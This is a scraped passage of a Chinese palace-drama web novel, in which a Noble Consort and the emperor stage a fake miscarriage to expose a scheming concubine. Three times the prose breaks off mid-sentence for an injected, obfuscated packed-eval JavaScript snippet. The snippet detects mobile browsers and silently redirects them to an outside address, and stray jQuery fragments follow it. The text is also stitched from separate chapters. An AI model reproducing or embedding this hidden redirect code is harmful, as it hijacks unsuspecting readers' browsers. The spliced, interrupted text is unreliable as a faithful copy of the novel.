张院判听到四殿下登门还有点不敢置信,匆匆穿戴整齐,去门口接见。见四殿下从马车上抱下一个女子,他更惊异了,好在张院判也是见多识广的,赶紧引着四殿下去正院客房。 张院判也不问此女子是谁,都被殿下亲自抱着找上门来了,那身份还能低微得了?张院判只专心把脉,斟酌着下药方。 等嘱咐下人去备药材,张院判才扭头看殿下,就又被殿下脸上那切切担忧和期盼给惊奇到。 张院判非舒妃娘娘那头的人,故和四殿下也来往不多,但皇宫里就这么几位成年皇子,张院判还是知道这个四皇子的。 传闻四皇子能言善战,有勇有谋,还有颗难得的赤子之心。只待人接物方面有些叫人头疼,比如不苟言笑,比如目中无人,比如严肃老成,以及对男女老少,臣子陛下都一视同仁的犀利寡淡。 张院判觉得,今日亲眼所见的四皇子也不尽其然嘛,瞧对姑娘多上心。这隐隐有些肿的眼圈,这是为人家姑娘哭过了?张院判似乎发现了不得了的大秘密,为避免四殿下杀人灭口,他努力将自己的八卦之心藏得严严实实。 他咳嗽一声,引起四殿下的注意。 “怎么样?” “殿下送来的及时,要再晚一个时辰……”恐怕身体都凉了,“……夫人这是热病,照理说只要喝几副汤药,再捂一身汗,基本隔个三五日都能痊愈。”这怎么还发展到如此严重,都危急性命了。 张院判的话说一半留一半,索性四殿下都能懂这群老狐狸。他问:“为何还不醒?” 张院判说:“夫人有晕厥之症,这是体弱的表现,恐怕是儿时……”养成的毛病呀。这父母当的也够不尽心的了。“不过殿下不必忧心,此症也算不得严重,只要不受刺激,保养得宜也是不容易发作的。”但倘若受了刺激,积压之下,恐怕也是难治根本的。“老臣给夫人施了针,半个时辰后应当就能醒来了。老臣就在外室给夫人熬药,殿下有事可呼唤老臣一声即可。” 四殿下点头。 元良良睁眼,发现是在一个陌生地方,心想阴曹地府也不赖嘛。正侥幸想着,就听到有熟悉的声音唤自己:“醒了?” 转眼看到四殿下,她所有爱恨情仇的记忆就都回来了。只是她感觉自己好虚弱,她该不是要命不久矣,这是回光返照吗? 元良良一瞬不瞬盯着眼前她一直以来都忍不住要心动的男人,看到他,她就难受怎么办? 四殿下看她眼圈有红的趋势,细语问:“怎么了?哪里不舒服吗?” 元良良摇头,半晌开口:“殿下,你还在怪我吗?不知晓自己的身份,不尊重皇子妃,不懂皇子府的规矩,也给您添麻烦。”当眼泪盈满眼眶,她转正头,盯着帐顶,深呼吸。 四殿下实话说:“没有。” 元良良不信。 她缓了缓,继续说:“其实良儿知道殿下和正妃才是正经的夫妻,做什么都正常,但良儿还是会忍不住难过和不舍,因为太喜欢殿下了。 要是从选秀那天重新开始,良儿一落选,就带着丫头离开这里,也许也是一件幸事。殿下知道为什么良儿没离开吗,本来是要离开的,得知殿下要……”她哽咽,“和皇子妃成亲,就想说再看殿下一眼,最后一眼。 如果那天落水了,殿下没救良儿应当也是一件幸事。不对,那天是殿下把我推下水的,要是那天殿下不出现就好了。 如果真如话本子里讲的有下一世,到时候良儿一定努努力当个采花贼,在殿下还没成亲之前,把殿下抢走再藏起来。”只能她一人拥有。 四殿下轻笑,眼带温柔:“我的良夫人,原是一个如此不通情达理,如此善妒,如此小心眼的人。” 元良良不生气他数落她了,她跟着笑:“如果良儿进的是二殿下的后院,那么良儿一定会是一个通情达理,不善妒,大方得体的好夫人。” 四殿下给她拉了拉被角:“你话说得太多了,先好好休息。” 元良良将自己的手从被子里拿出来,一下握住殿下的,放在心口的位置:“殿下,良儿舍不得你。我们来世再见了。” 眼角划过最后一滴清泪,她紧紧闭上眼。 四殿下配合道:“好。”

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聂婕妤清冷孤傲,平日在这后宫谁都不搭理,要不是姚婕妤好利用,元良良相信她也是不会理的。这样的人做出这种事,真的很难不让人生疑呀。 元良良冲姚婕妤咬耳朵,要求她回宫后继续装病。 她倒要看看聂婕妤耍何花腔。 ... 聂婕妤听说姚婕妤从大明殿回来了,没敢第一时间派人去瞧,一直等到第二日清早才让人过去。 聂婕妤不懂陛下宣姚婕妤去大明殿做什么,要是姚婕妤真的有病,那陛下岂不是也会被传染? 贵妃之前可是给姚婕妤请过御医的。还是说陛下确认了姚婕妤的病传染,怕引起后宫骚乱,才宣姚婕妤去大明殿偏殿诊治? 可这姚婕妤一路上走来走去不也一样会感染别人? 还是说她猜错了,姚婕妤并没得病? 要是没得病,陛下又找姚婕妤做什么呢? 聂婕妤想得头都大了,一直都想不通此事。她索性不想了,等着月牙从姚婕妤那带消息回来。 月牙回来得很快,不过什么消息都没打听到。“娘娘,姚婕妤说,想请您过去看看她。其他的什么都不肯说了。” 聂婕妤咬牙:“她看着怎么样?精神如何,脸色如何?” 月牙:“姚婕妤似乎不太好。依旧在床上躺着,奴婢虽没瞧见脸,但听声音十分虚弱。” 聂婕妤想不到还有何原因,也就只有姚婕妤生传染病,陛下偷偷替其诊治这一原因。聂婕妤冷笑:“她还想拉本宫陪她一起死,想得倒是美。” 聂婕妤瞪向月牙,又飞快掩住口鼻:“你和她说过话,还敢离本宫这么近?快滚出去!” 月牙吓一跳,慌忙福身退出去。 ... 菡萏殿。 “主子,聂婕妤把贴身侍女月牙派到殿外扫落叶去了。奴婢可是花了不少银子打探,您知道聂婕妤是因为什么?”香黛一副高深莫测要元良良猜。 元良良摇头:“因为什么?” 香黛:“聂婕妤派月牙去看了姚婕妤,聂婕妤以为姚婕妤生了大病,还是会传染人那种,才把瞧过姚婕妤的月牙给打发了。” 春雨反应过来,激动:“好坏呀,这聂婕妤!她以为姚婕妤有病,才不让姚婕妤卖衣服,一定要看着姚婕妤把穿过的衣服送回来,这样主子也就得病了!一定是这样! 我家姑娘体弱,这要是真的,肯定得遭殃。这聂婕妤都坏到骨子里了!” “春雨都能想到,看来就是这么回事了。”元良良脑子里想着怎么神不知鬼不觉收拾了这贱蹄子去。 只是她还没来得及动手,姚婕妤怀孕的事竟是在宫里传开了。至于如何传出的,那可能性就多了。 听说宫里要有三皇子了,不仅身在冷宫的西太后给姚婕妤送去慰问,就连太皇太后都睁眼多吃了两勺药。 皇后和贵妃当初得知时一样震惊,这姚婕妤什么时候搞定的陛下,她怎么不知道?还都已经四个来月了?! 皇后只震惊吐血了半天,又恢复过来。她想想,这也许还是好事一桩。她正愁抱不来皇子,这不自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938632|127666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己送上门来了。 昭媛殿。 元书雨听了珍珠打探来的消息,正垂眸思索。 姚婕妤怀孕了?这倒是稀奇。 “可听说姚婕妤如何怀上的?” 珍珠左右瞧瞧,小声答:“听说是四个月前,陛下和姚婕妤在寿康宫偶遇,陛下没忍住。” 元书雨当然不信这话。“四个月前?当时刚好是于家来瞧太皇太后的时候?” 陛下又怎会急在这时。可不在这时,又是在什么时候呢? 半晌,元书雨又问:“可知菡萏殿有何动静?” 珍珠要说话,元书雨伸手示意她住嘴,眼神瞥了左边殿门方向,珍珠会意,向殿门走去。 “昭媛说想吃梨汤,你们谁去趟御膳房。” 左边的宫女没说话,右边的福身去了。 珍珠又瞧向左边的宫女:“哦对了,昭媛那件水蓝色的宫装没送回来吧,你去取下。” 银槐不敢拒绝,道了声“是”,匆匆而去。 珍珠回到雨昭媛身边,邀功:“昭媛,奴婢把她打发了。你怎知她是贵妃的人?” 元书雨平静说:“感觉。” 珍珠以为雨昭媛是不想和自己说实话,她自觉聪慧,不再多问。 而事实是,元书雨虽说的确不想让奴才多知晓自己的事,但她这话还真不是瞎说的。 她自小就有这看人的本事,只要哪个人站她面前,她就知道对方会不会对自己不利。 就像当初还在闺阁中的贵妃。要有她元良良在,她元书雨怕是永远出不了头。瞧吧,元良良比她老了许多年,如今还不是要遇上。当初就该再狠点。 珍珠压低声音说:“回昭媛的话,贵妃得闻姚婕妤有孕,当下回去和陛下大闹了一场,不过现下又和好了。” “和好了?”元书雨想到贵妃那小家子气,难缠的样,深感不信,“贵妃又岂是好说话的。” 珍珠:“许是陛下会哄人呢。” 元书雨瞥了珍珠一眼,珍珠瑟缩了下。元书雨又冲她温柔笑笑,却是没再说话。 只心道:陛下会哄人才怪了。就算陛下真的甜言蜜语一箩筐,以贵妃的小鸡肚肠,怕也没那么容易息事宁人。 难道说姚婕妤并未怀孕? 元书雨很快知道自己猜想错了。 姚婕妤知道瞒不过去,反正也得了贵妃和陛下的准话,索性挺着肚子大摇大摆在宫里走动。 元书雨跟在众妃嫔后头一起看姚婕妤招摇过市,才四个多月的肚子跟怀了八月似的,有眼睛的都能看出来这是个孕妇。 元书雨一时想不通,但想着姚婕妤有孕对贵妃来讲可是个不小的打击,她于是释怀了。 眼下,她只要坐看好戏登场就成。 珍珠小声在雨昭媛耳边说:“昭媛,是聂婕妤,她好像示意咱们过去。” 元书雨头也不回,径直往前走,珍珠以为她是去找聂婕妤,谁知到了聂婕妤跟前,一步不停,就这样走远了。 聂婕妤脸色出奇难看。 等远离身后之人,珍珠问:“昭媛为何不理聂婕妤?” 元书雨:“本宫有不理她吗?本宫只是没瞧见罢了。” 珍珠不再多问。 288. 贰佰捌拾捌 聂婕妤得知姚婕妤不但没生传染病,反倒是怀了龙种,已是七窍生烟,后又被雨昭媛无视,又一下岔了气,半天都未缓过来。 聂婕妤想了半天雨昭媛是假装瞧不见自己还是真眼瞎,想了半天,她倾向于雨昭媛真眼瞎。毕竟好端端的,雨昭媛干嘛要躲着自己? 她又不是冷宫废妃。还是说她雨昭媛猜到她可能会被陛下打入冷宫? 要真被她一小丫头片子猜中,宫里倒是精彩了。 聂婕妤想完雨昭媛,又想起姚婕妤那高高挺着的肚子,一颗心别提多酸涩。 怎么这种大好事总是落不到自己头上呢?她怎么就那么倒霉?聂婕妤好想仰头问问老天,她究竟上辈子做了什么穷凶极恶之事,老天要如此待她? 聂婕妤嫉妒着心酸着,但也没忘了和众嫔妃一道去给姚婕妤道喜。 姚婕妤凉凉望着往日总在自己面前自称姐妹的聂婕妤。两人同是西太后身边出来的,关系算不得好,但同样不受宠,又同样是婕妤,她还当聂婕妤是真心要和自己相依为命的。 眼下才知,聂婕妤的心有多黑! 姚婕妤不懂,她对付贵妃就算了,可为何连自己都要利用? 要不是贵妃说起,她至今还不知道呢。得知她有传染病,不敢登门看她就算了。可要她真有传染病,又真的传染了贵妃,那此事陛下当然会怪到她头上。 自己有得罪过她吗?自己有对不住过她吗? 都没有,可见聂婕妤就是心黑到连自己人都不放过的地步。这种人她不屑交! 姚婕妤得意抚摸着肚子:“姐姐来啦,妹妹今日不便,就不起身恭迎了。姐姐随意就好。” 聂婕妤扯了个完美无缺的笑脸:“妹妹这话说的,姐姐早想来看你了,可谁让妹妹把众嫔妃都拒之门外了,姐姐叫人去瞧你,也好不容易才见着,姐姐自是不敢打扰。” 姚婕妤:“姐姐这是在怪本宫?” 聂婕妤没料到姚婕妤会说这话,当下愣住,很快又笑回:“妹妹误会了,姐姐哪是这个意思。” 姐姐来妹妹去的,姚婕妤嫌无聊。她决定把人打发了,睡个回笼觉去。于是又道:“姐姐此来可有要事?” 聂婕妤心想,串个门而已,能有什么要事。这是要赶自己走呢吧。 聂婕妤心内不喜。表面不显说:“也无要事,姐姐只是担心,毕竟这往常宫里只有贵妃生的两位皇子,如今妹妹要给陛下添第三个小皇子,就怕贵妃不喜。妹妹知道的,贵妃可比皇后还不好惹。” 姚婕妤不耐打断:“姐姐究竟要说什么?” 聂婕妤故意凑近了小声说:“姐姐是怕贵妃会对妹妹不利。”坐直了,又朗声说,“要是妹妹不想听,姐姐不说了便罢。” 姚婕妤不笨,当下反应过来,吃惊捂着肚子:“贵妃会对我做什么?” 聂婕妤:“贵妃手段多着呢,谁知道。” 姚婕妤急慌慌:“那我该怎么办?姐姐可有好主意?” 聂婕妤为难,又似真的不忍心看她着急:“那你容姐姐想想。”片刻思考完,“索性妹妹去找贵妃,只要你出事……,啊不是,姐姐的意思是,你待在贵妃身旁,贵妃就不敢动你分毫,毕竟妹妹要是有丁点事,所有人都会怀疑到贵妃头上。” 姚婕妤笑开:“姐姐这话好有道理。那就这么着吧。但妹妹还是怕,要不然姐姐陪妹妹去找贵妃如何?” 聂婕妤也想看看贵妃吃屎的表情。也许贵妃气得失去理智,不用她插手,贵妃直接冲姚婕妤下手了也说不定。思及此,聂婕妤决定多叫几个嫔妃一道,这样到时候贵妃想堵人的口都堵不过来。 “没问题。”聂婕妤笑着应下。回去后就找了几个新进宫,来巴结自己的嫔妃 第二日,聂婕妤带着数嫔妃陪着姚婕妤一路浩浩荡荡去了菡萏殿。 见贵妃迟迟不出来,聂婕妤笑得为难,和菡萏殿的春华秋实说:“两位姑姑,这都小半时辰了。咱们几个都好说,可姚婕妤如今怀了龙嗣,还得贵妃娘娘多体谅才成。” 春华秋实一板一眼道:“贵妃没空。” “既然站不住,那各位娘娘还是早些回了吧。” 聂婕妤尴尬一笑,看向姚婕妤,姚婕妤当下挺着肚子发作:“嘿,两个狗奴才,狗仗人势的东西!婕妤我可是怀了龙种的,你们再这样,小心本宫告知陛下发落了你们!” 这时聂婕妤打圆场:“也许贵妃是真的忙呢,妹妹别气了,气坏了身子不值当。” 聂婕妤又和春华秋实说:“姚婕妤今日前来,是来向贵妃娘娘讨经验来的。这不宫里也只有贵妃娘娘有经验嘛,想必陛下知道了,也会同意的。两位姑姑可否再帮着通禀通禀?” 秋实通禀去了,留下春华守着花厅。 又是小半时辰后,贵妃娘娘扭着腰姗姗来迟。 贵妃的脸色瞧着就很不好,眼睛下两坨黑色,又试图欲盖弥彰拿脂粉遮掩,显得整个人憔悴又可笑。 聂婕妤瞧着往日雍容华贵的贵妃成了这样,心里说不出的畅快。哼,贵妃娘娘也有今天! 贵妃谁也瞧不见,只目中如淬了毒般死盯着姚婕妤的肚子,又似乎才发现周围不止她和姚婕妤,慌乱瞥开眼。 贵妃问:“姚婕妤找本宫何事?” 姚婕妤说了来意:“还请贵妃娘娘多教教嫔妾。当然还有众位妹妹们,她们都年轻着呢,今日有贵妃教导,日后伺候陛下或是怀了都不至于手忙脚乱。” 贵妃眼中又有百十支箭刃闪过。 聂婕妤嘴角的弧度差点没能压住,她装模作样扶着姚婕妤,劝:“妹妹别说了吧。贵妃要忙着照顾两位皇子,还要照顾陛下起居,怕是没空管大家。” 聂婕妤说着话不时瞥一眼贵妃:“眼下只要妹妹托了贵妃的福安然无恙诞下小皇子就成。贵妃娘娘以为呢?” 元良良冷酷无情一笑:“生孩子哪有那么容易的,太上皇后宫三千不止,还不是只生了三位皇子。” 聂婕妤又被尴尬住,轻声解释:“贵妃娘娘,太上皇并非只生了三位皇子,只不过长大成人的只有三位殿下。” 元良良 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12952792|127666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“是呀,才三位。难道姚婕妤以为自己就是那幸运的?小孩多脆弱呀,别说长大成人,怕是能不能活着降生都是问题。” 贵妃娘娘轻飘飘两句话,成功把大家吓到了。 一时间,花厅内落针可闻。 姚婕妤只怔然了片刻,而后厉声反驳:“贵妃娘娘这话莫非是在诅咒嫔妾腹中的孩子吗?这可是龙种,贵妃娘娘就不怕陛下找你麻烦?” 元良良冷笑两声:“本宫等着陛下来找!” 贵妃娘娘又莞尔一笑:“反正本宫总要被陛下训斥的,倒不如一不做二不休。来人,姚婕妤渴了,请姚婕妤喝杯茶吧。” 贵妃发话,立时两个大脸盘子嬷嬷从暗处出来,一人来扣住姚婕妤胳膊,一人左手拿了一只茶壶,右手来捏姚婕妤的下巴。 众嫔妃们被这一幕吓傻了。 聂婕妤似乎也不知所措,和众嫔妃站在一处,嘴里替姚婕妤求饶:“贵妃娘娘,姚婕妤怀了龙嗣,茶水性凉,可喝不得呀。” 说着话,姚婕妤已然被迫灌下了大半壶茶,被灌得太猛,还呛着了,正狼狈咳嗽。 贵妃瞧着这一幕,似满意了。“本宫见了,茶也喝了。本宫就不送各位了。” 姚婕妤缓过来后,指着贵妃,破口大骂:“贵妃娘娘别太嚣张了,眼下嫔妾也怀了龙嗣,将来的福祸指不定落在谁的身上呢。” 聂婕妤上前劝:“妹妹快别说了。”又小声和姚婕妤说,“得罪贵妃,咱们怕是走不出去。” 姚婕妤更卖力发飙:“你怕她,我可不怕!今日我倒要看看贵妃能奈嫔妾何!” 元良良起身,大步冲向姚婕妤。姚婕妤眼瞧着贵妃冲她而来,她捂着肚子下意识后退,也不知绊到了什么,惨叫一声就倒在了地上。 “我的肚子,我的肚子,快来人呐,贵妃杀人啦……” 一时间,菡萏殿的花厅乱成一团。倒地的倒地,瑟瑟发抖的瑟瑟发抖。 聂婕妤着急看向贵妃:“贵妃娘娘,这得请个大夫吧?” 贵妃依旧冷笑:“不急。” 贵妃还发话不让任何人扶姚婕妤起身,谁敢扶她,就是和她贵妃作对。 姚婕妤抱着肚子坐在地上,依旧哀嚎不止。 香黛在一旁提醒:“主子,姚婕妤叫这么大声,传出去可不大好。” 然后贵妃就又让人塞住了姚婕妤的嘴巴。 聂婕妤瞧着这一幕感叹贵妃心狠手辣的同时,也很期待贵妃接下来的下场。 聂婕妤也忍不住庆幸,好在她带了不少人过来,要不然只有她和姚婕妤,怕是死在贵妃宫里,被毁尸灭迹都无人知晓。 眼下这么多人,她不信贵妃还能把大家都杀了。 果然,贵妃发话要求大家别说出去,要不然她们就是跟她贵妃作对,以后吃不了兜着走! 众嫔妃们自是纷纷答应。 贵妃又问聂婕妤能不能答应,聂婕妤当然答应啦。答应了才好跑出去找陛下告她贵妃的状呀。 贵妃得了保证,总算真的放她们离去。 289. 贰佰捌拾玖 聂婕妤想着她出去后,要怎么最快速度赶去大明殿找陛下做主。 陛下就算再宠贵妃,也不会允许自己的龙子遭人迫害。贵妃就算不死也得掉层皮! 聂婕妤喜滋滋想着,加快速度往外去,等到看到送上门来的陛下,她只愣了瞬,随即更抑制不住心花怒放。 聂婕妤跌跌撞撞扑过去:“陛下,陛下,您快救救姚婕妤和她腹中的龙子吧!姚婕妤和贵妃起了争执,被贵妃推倒在地,不知死活呀陛下!” 陛下挥开聂婕妤抓着自己胳膊的爪子,凤眸沉沉问:“聂婕妤这是担心?” 聂婕妤没料到陛下还有空关心自己,点头:“嫔妾自是担心姚婕妤。毕竟贵妃下手真的太重了,贵妃还要挟嫔妾和妹妹们不许将此事说出去,嫔妾假装答应这才出来的,想着出去了就禀报陛下,没想到刚巧碰到陛下了!” 陛下:“朕还以为你在笑呢。朕就说怎会有人笑得这般难看。” 被人身攻击,聂婕妤表情有一瞬绷不住。不等她回应,陛下道:“朕瞧瞧去,聂婕妤不着急走的话跟着一道来吧。” 陛下都发话了,聂婕妤自然要留下。就算陛下没让她留下,她也得留下来看热闹才行呀。 陛下踏入花厅,一眼就瞧见坐地哀嚎的姚婕妤,还有正掐腰昂着雪白脖颈冷嘲热讽姚婕妤的贵妃。 陛下站在门口出声:“贵妃这是作何?” 贵妃似没想到陛下这时候过来,笑容在脸上凝结了下,才又笑开:“陛下怎的这时候来了?” 陛下蹙眉沉声道:“看来朕来的不是时候呀,让贵妃失望了,朕就该等姚婕妤被贵妃折磨死了再过来才是。” 贵妃:“陛下误会臣妾了,姚婕妤是自己摔的,跟臣妾可没关系。” 陛下:“自己摔的?怎么这么巧刚好摔在贵妃这儿?贵妃难道不知姚婕妤怀孕了?贵妃简直胆大包天。” 贵妃:“陛下竟然不信臣妾?陛下竟然为了姚婕妤不信臣妾?臣妾不如死了算了!” 陛下:“你一个贵妃,朕需要和你解释什么?胆敢用死威胁朕,简直放肆。” “臣妾不活了!”贵妃竟真的起身朝陛下身侧的柱子撞去。 陛下眼疾手快抱住,陛下脸上闪过痛楚,好一会儿才磕巴说:“朕……心里还是有爱妃的。只…要姚婕妤…和肚里的孩子无事,朕不计较贵妃总行了吧。” 贵妃不买账:“那要是姚婕妤小产了呢?孩子多脆弱呀,臣妾可不敢保证。” 陛下想了想才说:“姚婕妤母子有事,那贵妃……就好自为之吧!” 聂婕妤狐疑看陛下,什么时候陛下成结巴了。但她没纠结多久,因为她又发现姚婕妤裙摆下竟流出了血来。 “哎呀,姚婕妤流血了!御医怎的还没到?” 陛下才想起来自己忘了叫御医了,赶忙冲幺平喊:“快请御医来给姚婕妤诊治。” 聂婕妤诧异了下,她虽希望御医越晚来越好,但也是万万没想到,陛下竟为了安慰贵妃连御医都忘了请。 很快御医过来。 来的还是张院判。 张院判瞧见聂婕妤瞧着自己的疑惑眼神,解释:“哦是这样,臣是在半道上遇到的幺平大人,刚巧也是来给贵妃看诊,听说姚婕妤伤势颇重,就说先过来瞧瞧。” 元良良嫌张院判话多:“张院判,还磨蹭什么,还不快过来给姚婕妤看诊。姚婕妤有事,你就陪本宫一起遭殃吧。” 张院判听贵妃的话,赶忙过去。 姚婕妤已被抬去了偏殿,花厅的地方还留着不一大滩触目惊心的血迹。 聂婕妤以为这次姚婕妤孩子定然保不住,贵妃定然要遭殃,谁知不多时张院判从偏殿出来,回话说姚婕妤母子均安。 聂婕妤大吃一惊,压根不信。她虽没生过娃,但那么一大滩血从姚婕妤身体里流出来,怎么可能母子平安? 她觉得一定是贵妃和张院判串通的,要不然怎的又这么巧,刚好请来了张院判。整个前朝后宫可都知道张院判是她良贵妃的心腹。 聂婕妤向陛下福身,状似担忧问:“陛下,姚婕妤流了这么多血,嫔妾真是不放心,不如再请个御医,也好稳妥些。” 贵妃在一旁嚣张说:“听聂婕妤的意思,聂婕妤是怀疑本宫和张院判勾结谋害姚婕妤和姚婕妤腹中的孩子吗?” 聂婕妤忙说不是这个意思。 “那你是几个意思?” 这时陛下发话:“朕觉得聂婕妤所说有理。那便再请个御医来。” 贵妃气呼呼转过身去不打算理陛下。 聂婕妤表面不显,心里乐开花。 不多时,御医过来,还来了两个以及好几个医女。聂婕妤心想,这么多人怕是贵妃想作弊都不能够。 然而两位御医出来,竟也说姚婕妤无大碍。 “无大碍?”聂婕妤惊呆了。 “可姚婕妤流了很大一滩血,这怎么可能无大碍呢?”聂婕妤指手画脚形容姚婕妤的确流了许多血。 两名御医纳闷了。其中一人答:“臣确是发现姚婕妤有血亏之症,但不足以影响母体胎儿,还请陛下勿担忧。” 另一御医答:“臣和林御医诊断一致。另外,臣等诊出,姚婕妤怀的是双胎。” 听到双胎,陛下并未多余反应,又最后发话:“既然姚婕妤无事了,那大家都散了吧。” 聂婕妤懂陛下的意思,陛下这是说,姚婕妤无事,他就不找贵妃的麻烦了。 姚婕妤还怀了双胎?!还都无事?! 聂婕妤自知再说无用,打算跟着大家一道退下。结果被贵妃叫住。 贵妃偏还避开了陛下,特意到了她眼前:“聂婕妤今日所为,本宫记住了。日后可别怪本宫一报还一报。” 聂婕妤嘴角抽了抽,百转千回后才梗着脖子答话:“嫔妾不是故意要出卖贵妃的,嫔妾只是一时害怕,姚婕妤毕竟和嫔妾多年姐妹,嫔妾无法坐视不管。” 贵妃只横了她一眼,没再说话,又施施然飘走了。 聂婕妤未回头,垂下的眸中涌起刻骨的憎恶。 心说,这回算你贵妃好运。 ... 菡萏殿正殿内。 元良良瞅着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971301|127666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陛下:“好端端的陛下怎结巴了?” 陛下:“朕一时忘了。” 元良良竖起三根手指:“咱们不都排练三回了!总共没几句话!” 陛下觉得贵妃语气有些冲,当下不悦说:“朕日理万机,一时忘了情有可原吧?” 元良良没好气撇过脸去。又指着姚婕妤:“你这血也太多了点吧?一个人身上总共才多少血,你就流这么多?” 窝在下首的圈椅里,正抚摸着肚子畅想着以后美好生活的姚婕妤听到贵妃的抱怨也不生气。她竟然怀的是双胎诶! 姚婕妤笑嘻嘻回:“嫔妾以为陛下要露陷,嫔妾才多挤了些的。” 元良良叹气:“你的意思是,本宫还要感谢你了?” 她又瞥坐立不安的张院判:“张院判也真是的,你跟聂婕妤解释那么多干嘛。” 想想,又说:“本宫知道,让你撒谎是为难你。但陛下和本宫都记着你的好呢。这么多年也过来了,本宫以为张院判早该习惯了的。” 张院判小媳妇般答:“臣知道。” “知道就好了。”元良良看他实在难熬,就说,“其他也没什么事,张院判回去继续研究药丸去吧。” 如蒙大赦般,张院判离开了贵妃的菡萏殿。 而陛下也不打算待在一群女眷处,反正知道了是聂婕妤,他留心着就是。于是也起身走了。 等到陛下不见了身影,八公主才敢冒头:“也不知道聂婕妤信没信?她要起了疑心,咱们下一步要怎么办?” 元良良瞥眼消失不见的陛下,和同样不争气的姚婕妤:“能怎么办,只能等着呗。” 姚婕妤害怕说:“贵妃,我能不参与吗?万一聂婕妤偷偷往嫔妾饭里下药,她是获罪了,那嫔妾也完了呀。” 元良良冷酷无情拒绝:“不可以。这是你欠陛下的,你得还。先不说你有没有爬墙,就说陛下与本宫是不是要你小心行事别让人知道你怀孕的事?结果现在搞得前朝后宫都知道了。 这事你也知道多难办,陛下可是要冒着被群臣百姓戳脊梁骨的风险维护你。要你配合下不过分吧?” 姚婕妤缓缓低下头去,表示她会配合的。 元良良又软了口吻说:“姚婕妤也不想看着聂婕妤这个坏人逍遥法外吧?她当初可是想害死你的,不抓她个现行,本宫心里难安。 你放心,聂婕妤那有本宫的眼线,聂婕妤有任何动静都逃不过本宫手掌去。再说,她真正想害的人是本宫,本宫无事,你定也不会有事。本宫会保护好你的。” 姚婕妤想到聂婕妤所做之事,也恨得牙痒痒,倒没那么害怕了。 这几日她回顾从前和聂婕妤的交往,不回顾不知道,这一回顾她是万万没想到聂婕妤竟是没少利用自己。 她还亲亲热热的追着人家叫姐姐,怕是人家早在心里看她笑话呢。 那日姚婕妤怀孕之事被她揭破,姚婕妤又被陛下宣进大明殿问话。 后来她帮姚婕妤求情,陛下承诺送姚婕妤出宫和于惞相守后,元良良又无意发现这件事的背后竟然还有一个聂婕妤从中作祟。 290. 贰佰玖拾 她查明聂婕妤原是怀疑姚婕妤有传染病,为了害自己,故意拿姚婕妤穿过的衣裳送来菡萏殿。 元良良觉得聂婕妤脑子真的有坑,姚婕妤一直都在深宫,还能无缘无故得瘟疫不成?再说她贵妃又不是豆腐做的。 元良良虽不信,但陛下得闻此事后,却很是重视。 陛下觉得贵妃就是很柔弱的,于是继贵妃的吃食要经专人之手以外,贵妃的衣裳都要菡萏殿的人清洗晾晒,不论旧衣新衣必须得蒸熏过后才能上贵妃的身。 元良良无语了。她要不是开成衣铺的就算了,可她是良贵妃成衣铺的一把手诶! 她每次都要试穿成衣的,这不耽误事儿吗? 但谁让陛下发话呢,元良良想着总归以后还能让丫头们帮她试看,她也就认了。 知道聂婕妤要谋害自己以后,元良良就让姚婕妤回宫继续躺着,假装就是得了大病,想以此引聂婕妤上钩。谁知姚婕妤怀孕之事传了出来。 于是她和姚婕妤共谋了一个计划。刚巧当日八公主在菡萏殿玩,三个人就谋了一场大戏。 首先是让聂婕妤主动上钩。如何让聂婕妤主动上钩呢,那就是让姚婕妤招摇过市,引起聂婕妤的嫉妒心。果然不到半天,聂婕妤就来探望姚婕妤,还怂恿姚婕妤去找她贵妃。 元良良早猜到聂婕妤会利用姚婕妤的肚子陷害她,也断定聂婕妤一开始不敢肆意妄为。是以早前就安排了工具人。 甲工具人姚婕妤,乙工具人陛下,丙工具人张院判,以及其他若干群众。 经过多方筹谋,成功营造了一场她贵妃陷害姚婕妤,被陛下训斥,只是姚婕妤福大命大,母子均安,她贵妃成功逃过一劫的假象。 聂婕妤看到这一出,定然心里十足懊恼,怕是抓心挠肺想竟是只差一点点,差一点点姚婕妤的孩子就没了,差一点点贵妃就要遭殃。 到这节骨眼,怕是换了任何一人都不会甘心。 贵妃等一致觉得聂婕妤很快就会有新的动作。 聂婕妤以为她贵妃必定是不喜姚婕妤肚里孩子的,却不知姚婕妤肚里的孩子根本不是陛下的。 元良良真是期待聂婕妤得知姚婕妤肚子里并非龙种时的惊骇表现。 姚婕妤忍不住问:“贵妃,嫔妾乐意配合。但要是聂婕妤一直不出手,那岂不是嫔妾腹中孩儿出生,嫔妾都没法出宫去?”姚婕妤苦着脸,“眼看着肚子一日大过一日,于小公子那也是需要知会的。” 想到什么,姚婕妤羞涩一笑:“说不定于小公子还会给嫔妾一个大大的婚礼,可肚子大了,穿新嫁衣多难看呀。” 